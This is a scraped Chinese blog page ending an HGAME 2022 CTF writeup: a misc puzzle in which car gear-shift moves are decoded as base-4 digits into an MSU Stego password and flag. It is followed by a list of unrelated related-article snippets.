4 up left down up right down up left up down right down up left down up right down up left up down right down up left down up right up down left up down right down up left down up right down up left up down right down up left up down down up up down right down up left up down right up down left up down right down up left up down right up

gift.mp4视频中,出题人切屏的时候得到一个信息
在这里插入图片描述
gift2.avi极大可能使用了msu steg,但是msu steg解视频文件需要一个数字密码
NTFS流隐藏的文件提到的是开车,然后一个4开头,之后就是上下左右的方向,用笔画了一下
在这里插入图片描述
画来画去得到一个H形状,联想到提到车,猜测可能是手动挡车的挡位
在这里插入图片描述
4档开始,始终在1-4档移动,猜测可能是四进制,把移动过程中经过的挡位记录下来
在这里插入图片描述
得到一串数字,Python简单处理得到一串数字

from binascii import *

data = '424142414231424141214131413'
quater_num = ''
for n in data:
    quater_num += str(int(n)-1)
flag = unhexlify(hex(int(quater_num, 4))[2:])
print(flag)


PS C:UsersAdministratorDownloadsgiftgift> python .code.py
b'7767122'

MSU Stego
在这里插入图片描述

hgame{Q1ng_R3n_J1e_Da_Sh4_CTF}
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

HGAME 2022 Writeup 的相关文章

  • 2022-3-19(洛谷)

    阶乘数码 xff08 高精乘 xff09 题目描述 求 n 中某个数码出现的次数 输入格式 第一行为 t t 10 xff0c 表示数据组数 接下来 t 行 xff0c 每行一个正整数 n n 1000 和数码 a 输出格式 对于每组数据
  • 【Rust日报】2022-02-05 Jotsy:一个由Skytable、Axum和Tokio支持的自托管笔记应用程序...

    宣布Gyroflow 用GPU加速和跨平台UI用Rust编写的高级视频稳定工具 Gyroflow是一个应用程序 xff0c 可以通过使用来自陀螺仪和可选的加速度计的运动数据来稳定您的视频 现代相机在内部记录运动数据 xff08 GoPro
  • 数学建模学习(1)———— 逻辑回归的使用和案例(2022.7.18)

    许多数学建模的使用基本都是一元线性回归 xff0c 和多元线性回归开始 xff0c 但由于经常看关于这两个东西 xff0c 实在不想从这开始整理笔记 xff0c 等后面印象不深后在整理过 文章目录 目录 文章目录 一 逻辑回归介绍 二 逻辑
  • 【2022.2】Windows10自动更新及你的组织正在管理你的更新

    按照以往 xff0c 我是不会关闭自动更新的 xff0c 但是这次好像出了什么问题 xff0c 到点就会弹出个更新窗口 xff0c 说什么你的组织准备管理你的计算机 并且自动更新也失败 xff0c 这一阵电脑开着到点就会自己更新 xff0c
  • 2022-10-13 js中数组删除对象

    JavaScript splice 方法 说明 xff1a splice 方法可删除从 index 处开始的零个或多个元素 xff0c 并且用参数列表中声明的一个或多个值来替换那些被删除的元素 数组 splice 数组索引下标 个数len
  • 2022智源大会议程公开 | 人工智能新基建论坛

    2022年北京智源大会召开在即 xff0c 5月31日至6月2日 xff0c 持续三天 xff0c 26场由各领域领军学者主导的专题论坛 大会将紧紧围绕这些当前学术领域迫切需要解决的问题 xff0c 以及产业落地过程中存在的诸多挑战 xff
  • 【2022阿里灵犀互娱】游戏测开笔试AC_Code

    测开笔试 xff0c 90分钟 xff0c 3道编程题 43 八股 xff0c 第二题输出格式模拟题 xff0c 就不贴了 T1 进制转换 题意 有一个数 xff0c 可能是2 xff5e 16进制的其中之一 xff0c 算出所有可能的结果
  • 2022同济825自控原理

    1 求 R L C RLC R L C 电路的传递函数 2 求 M a s
  • 2022年vue高频面试题分享(附答案分析)

    本篇文章给大家总结一些值得收藏的2022年精选vue高频面试题 xff08 附答案 xff09 有一定的参考价值 xff0c 有需要的朋友可以参考一下 xff0c 希望对大家有所帮助 Vue router 导航守卫有哪些 全局前置 钩子 x
  • 使用Visual Studio 2022运行C++代码

    使用Visual Studio 2022运行C 43 43 代码 1 打开VS 2022 xff0c 创建新项目 2 安装多个工具和功能 3 选中 使用C 43 43 的桌面开发 和 通用Windows平台开发 xff0c 点击修改 xff
  • Visual Studio 2022 C++开发 (Win)配置教程

    前言 本文将讲解如何在Window系统下配置Visual Studio 2022版本的C 43 43 开发环境 步骤 下载并且安装Visual Studio Tools xff08 1 xff09 下载 Visual Studio Tool
  • 再见2022,加油2023

    其实变化最大的一点就是 xff0c 这一年自己变成了一个北漂 没有很多的成熟的规划 xff0c 没有很多预算准备来到了北京 那会儿和之前的同事合租 xff0c 也给他添了不少麻烦 最开始到北京的时候 xff0c 因为口罩问题入职前生活状态比
  • Visual Studio 2022 C++ CLR 的艰难除 Bug

    请看下面一段代码 xff1a 运行结果 xff1a 这是一个Button xff0c 要用到这段代码是因为字符串出了问题 xff1a 肯定是我写的类出问题了 xff0c 便是我在控制台下测试是正常的 代码 xff1a 运行结果 xff1a
  • 2022数学建模国赛B题思路分析

    分享一下 xff0c 仅供参考借鉴 xff0c 切勿直接使用 xff01 致谢一下全糖奶茶屋 xff01 一 问题重述 1 1 问题背景 由于无人机集群在遂行编队飞行时 应尽可能的避免外界干扰 因此需要尽可能的保持电磁静默减少电磁波信号的发
  • 2022-3-9 Ubuntu 16 安装opencv 4.5

    ubuntu 16安装 OpenCV 3 的教程 也是安装OpenCV 3 Ubuntu 18 安装 OpenCV 4 5 的 安装完成后 xff0c 手动创建opencv pc xff1a cd usr local lib sudo mk
  • 南邮CTF-WEB-write-up 教程详细解说

    单身一百年也没用 Download COOKIE MYSQL sql injection 3 x00 bypass again 变量覆盖 PHP是世界上最好的语言 伪装者 Header 上传绕过 SQL注入1 pass check 起名字真
  • Bugkuctf--逆向第三题游戏过关题解

    题目链接 https ctf bugku com challenges 先让我们来打开文件 既然题目都说是游戏过关了 那就玩玩这个游戏呗 雾 游戏还是很简单的 但显然这道题应该用逆向的思维来做 废话 正式部分 逆向的题拿到手一般能考虑的工具
  • 南邮CTF平台writeup:Web(一)

    签到题 查看网页源代码即可 md5 collision md51 md5 QNKCDZO a GET a md52 md5 a if isset a if a QNKCDZO md51 md52 echo nctf else echo fa
  • BUUCTF[强网杯 2019]随便注 的三种解法

    文章目录 尝试注入 解题思路1 解题思路2 解题思路3 知识点总结 打开后题目是这样的 尝试注入 1 测试 1 or 1 1 初步判定存在SQL注入 1 or 1 1 再测试字段数 到3时报错 说明字段数为2 1 order by 1 接着
  • 全国大学生信息安全竞赛真题(CTF)

    web篇 https blog csdn net csu vc article details 78011716 https www cnblogs com iamstudy articles 2017 quanguo ctf web wr

随机推荐

  • JS说古道今

    JS说古道今 本文概要 讲述js的来源及重要的语法特性 xff0c 包括数据类型 DOM 作用域等 xff08 由于专业性比较强就不写诗扯淡了 61 61 xff0c 我尽量写的有趣点吧 JS JSP xff1f JavaScript xf
  • 删除集合当中的空元素(Collections.singleton(null)与stream())

    Arrays asList创建的数据为定长集合 xff0c 集合长度在操作时是不可以改变的 xff0c 不能对集合进行增删操作 Collections singleton null 相关 span class token comment 反
  • RabbitMQ配置更改TCP默认端口5672

    前言 公司新项目需集成RabbitMQ xff0c 但服务器环境已经安装了ActiveMQ 今天同事不说还不知道 xff0c 导致安装后俩MQ打架 端口冲突 而发生的一系列问题 没办法 xff0c 后来居上的就很被动 xff0c 于是就得改
  • WebSocket服务端消息推送

    前言 xff1a 移动互联网蓬勃发展的今天 xff0c 大部分手机 APP和网站都提供了消息推送功能 xff0c 如新闻客户端的热点新闻推荐 xff0c IM 工具的聊天消息提醒 xff0c 电商产品促销信息 xff0c 企业应用的通知和审
  • tomcat7下载

    百度网盘下载 xff1a 链接 xff1a https pan baidu com s 1qbaxHo0dEdL9JC08yzbL6Q 提取码 xff1a ysz9
  • Springboot查看日志

    Springboot查看日志 以前用springMVC时查看日志直接进入tail f out 但是用了springboot之后 xff0c 一时不知道如何实现 xff0c 记录一下 以下以log4j2为日志框架 先在log4j2 xml中添
  • 爬取CSDN专栏文章到本地,并保存为html、pdf、md格式

    前言 突然想爬取CSDN的专栏文章到本地保存了 xff0c 为了影响小一点 xff0c 特地挑选CSDN的首页进行展示 综合资讯这一测试点是什么找到的呢 xff1f 就是点击下图的热点文章 xff0c 然后跳转到具体文章 xff0c 然后再
  • Spring入门第一讲——Spring框架的快速入门

    Spring的概述 什么是Spring xff1f 我们可以从度娘上看到这样有关Spring的介绍 xff1a 说得更加详细一点 xff0c Spring是一个开源框架 xff0c Spring是于2003年兴起的一个轻量级的Java开发框
  • 手动清理RabbitMq队列中的消息

    一 手动删除队列中指定个数的消息 打开RabbitMq管理页面 xff0c 进入队列 点击 Get messages Requeue 改成No Mesaages 设置一个值 点击Get messages 二 一次清理队列中的所有消息 打开R
  • 关于Spring核心配置文件中的各项主要配置

    1 xff1a Spring的核心配置文件中的各种配置 spring的核心配置文件的名字 叫做 applicationContext xml xff0c 后期也可以通过配置文件修改名称 xff0c 在web xml中进行如下修改 xff1a
  • JVM内存设置

    对于jvm的设置我一直知道的很少 xff0c 有时候遇到outOfMemoryError只会一个简单的设置 Xms256m Xmx512m 有几个问题一直没搞明白 xff1a 1 jvm的内存大小究竟应该设置成多少最合适 xff1f 2 j
  • 闭包,一个浪漫的故事

    闭包 xff0c 一个浪漫的故事 前 今天稍微说一下js中的闭包 xff0c 这是个新手很少遇到的老手不常遇到的问题 xff0c 他的出现主要是为了帮我们规避问题 xff0c 另外提供了一种解决问题的新途径 xff0c 这里先说明一点啊 x
  • vue中集成jsplumb报错`Cannot read property ‘parentNode‘ of null`,且无法渲染连线的问题

    简介 我在项目中使用了typescript 43 vue 43 jsplumb作为流程图框架 问题 我在容器中使用的是v for指令渲染 从配置文件中读取流程图的json并且存入this items变量中通过v for指令 xff0c 调用
  • [webpack-cli] Invalid options object. Dev Server has been initialized using an options object

    问题内容 xff1a webpack cli Invalid options object Dev Server has been initialized using an options object that does not matc
  • 使用idea创建web项目

    前言 xff1a 很高兴能够用自己所学知识为你提供答疑 xff01 xff01 xff01 今天我就来操作下如何使用idea这款软件创建web项目 步骤 xff1a 1 创建项目 首先新建一个项目 然后选择最后一个 xff0c 创建一个空白
  • 基于若依开发管理项目中引入工作流引擎activiti7,包含前后端(原创)

    原项目中用到了工作流引擎 xff0c 使用若依框架开发 xff0c 原二开使用项目 xff1a https gitee com y project RuoYi Vue 基于activiti7地址 xff1a https gitee com
  • 最新方法VScode中html代码自动补全(超清晰详细,保证能用)

    一 下载HTML Snippets插件 二 配置settings json 1 在VScode窗口下按住ctrl 43 shift 43 P xff0c 调出搜索框 xff0c 在搜索框中输入settings json xff0c 选择打开
  • 计算机毕业设计-基于SpringBoot+Vue的新冠疫苗预约接种管理系统

    计算机毕业设计 基于SpringBoot 43 Vue的新冠疫苗预约接种管理系统 1 开发环境及工具下载 开发语言 xff1a Java架构 xff1a B S框架 xff1a SpringBoot 43 vue数据库 xff1a MySQ
  • core-js介绍及安装使用

    前言 这里就和大家说一下core js的开发者 xff0c 也是网上查阅的资料 core js的作者 xff1a 一位彪悍的俄罗斯程序员 xff0c 名字叫丹尼斯 普什卡列夫 xff08 Denis Pushkarev xff09 xff0
  • HGAME 2022 Writeup

    文章目录 Level Week1 WEB easy auth蛛蛛 嘿嘿 我的蛛蛛Tetris plusFujiwara Tofu Shop MISC 欢迎欢迎 xff01 热烈欢迎 xff01 这个压缩包有点麻烦好康的流量群青 其实是幽灵东